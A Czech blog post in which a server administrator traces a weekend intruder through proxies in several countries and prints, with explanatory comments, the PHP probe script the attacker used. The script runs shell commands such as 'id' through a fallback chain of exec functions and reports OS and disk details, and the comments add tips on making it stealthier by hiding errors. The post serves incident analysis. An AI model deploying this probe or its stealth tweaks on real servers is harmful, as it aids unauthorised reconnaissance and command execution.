Predzvěst Exploitace aneb kdo mi loupe pernik :). Davam si popůlnoční porci C&C (Cafe & Cigara) a dumu kym jest „robot“ libwww-perl s agent-stringem libwww-perl/5.79 v logu servru. V noci kopou vsichni ale tenhle obzvlast tuhej permonik na robota opravdu nevypada. Chodi o vikendech a vyhradne tunelem
Spetka serfovani po svete a mam dve skladiste a servr kde jeste pred chvily kutal. Prvni je uloziste na Brazilske subdomene kit.net kterou tuneluje pres dalsiho brazilskeho kamose. Obcas pouzije jako branu Chorvatsky lekarsky institut. Dalsi garaz je v Argentine. Kod tuneluje pres Jihokorejsky server.
Ze spasu jsem presmeroval opakujici se IP na hezkou stranku a cekal co bude. Trvalo mu hodinu nez pochopil oc jde :) Zkusil novou IP a zalomil. Co zahado-vyzvedny kod rika?
<?
/*
script by nemel zacinat zkracnym tagem <? pro pripad ze v php.ini je nastaven
short_open_tag na 0.
vsechna volani funkci by mela obsahovat prefix @ aby byl script co nejvice
nenapadny. spravne by jeste bylo uplne vypnout zobrazovani/logovani errorovych
hlasek. viz. funkce restore_error_handler, restore_exception_handler,
error_reporting a ini_set(display_errors, 0);
*/
// zjisti CWD (current working directory) [aktualnu slozku ve ktere se pracuje].
$dir = @getcwd();
// nejspis nick autora
echo „Mic22<br>“;
// konstanta obsahujici identifikaci operacniho systemu.
$OS = @PHP_OS;
echo „OSTYPE:$OS<br>“;
// zjisti volne misto v oddilu
$free = disk_free_space($dir);
// operator === kontroluje jestli jsou hodnoty i stejneho typu.
if ($free === FALSE)
{
$free = 0;
}
if ($free < 0)
{
$free = 0;
}
echo „Free:“.view_size($free).„<br>“;
// spusti program id viz. nize funkce ex.
$cmd=„id“;
$eseguicmd=ex($cmd);
echo $eseguicmd;
/*
funkce ex bere jeden parametr ktery predstavuje nazev programu ktery ma byt
spusten. zkouseji se vsechny zpusoby spusteni souboru. je pravdepodobne ze
ani jedna moznost nebude fungovat
*/
function ex($cfe)
{
$res = “;
if (!empty($cfe))
{
// exec – spusti program a ulozi vystup
if(function_exists(‘exec’))
{
@exec($cfe,$res);
$res = join(„\n“,$res);
}
// shell_exec – spusti program v shellu a vrati vystup
elseif(function_exists(‘shell_exec’))
{
$res = @shell_exec($cfe);
}
// system – spusti program a zobrazi vystup
elseif(function_exists(‘system’))
{
// ob_start – vypne vystup scriptu
@ob_start();
@system($cfe);
// do $res se priradi vse co bylo zablokovano na vypis
$res = @ob_get_contents();
@ob_end_clean();
// ob_end_clean – povoli vystup scriptu
}
// passthru – stejne jako system, ale je urcena pro binarni vystup dat
elseif(function_exists(‘passthru’))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
// popen – vytvori rouru ve ktere soubor spusti
elseif(@is_resource($f = @popen($cfe,„r“)))
{
// vystup se cte jako ze souboru
$res = „“;
while(!@feof($f))
{
$res .= @fread($f,1024);
}
@pclose($f);
}
}
// vrati vystup z programu
return $res;
}
/*
funkce vypocita pro cloveka citelnou velikost souboru. jinak je zbytecna
*/
function view_size($size)
{
if (!is_numeric($size))
{
return FALSE;
}
else
{
if ($size >= 1073741824)
{
$size = round($size/1073741824*100)/100 .“ GB“;
}
elseif ($size >= 1048576)
{
$size = round($size/1048576*100)/100 .“ MB“;
}
elseif ($size >= 1024)
{
$size = round($size/1024*100)/100 .“ KB“;
}
else
{
$size = $size . “ B“;
}
return $size;
}
}
exit; // exit();








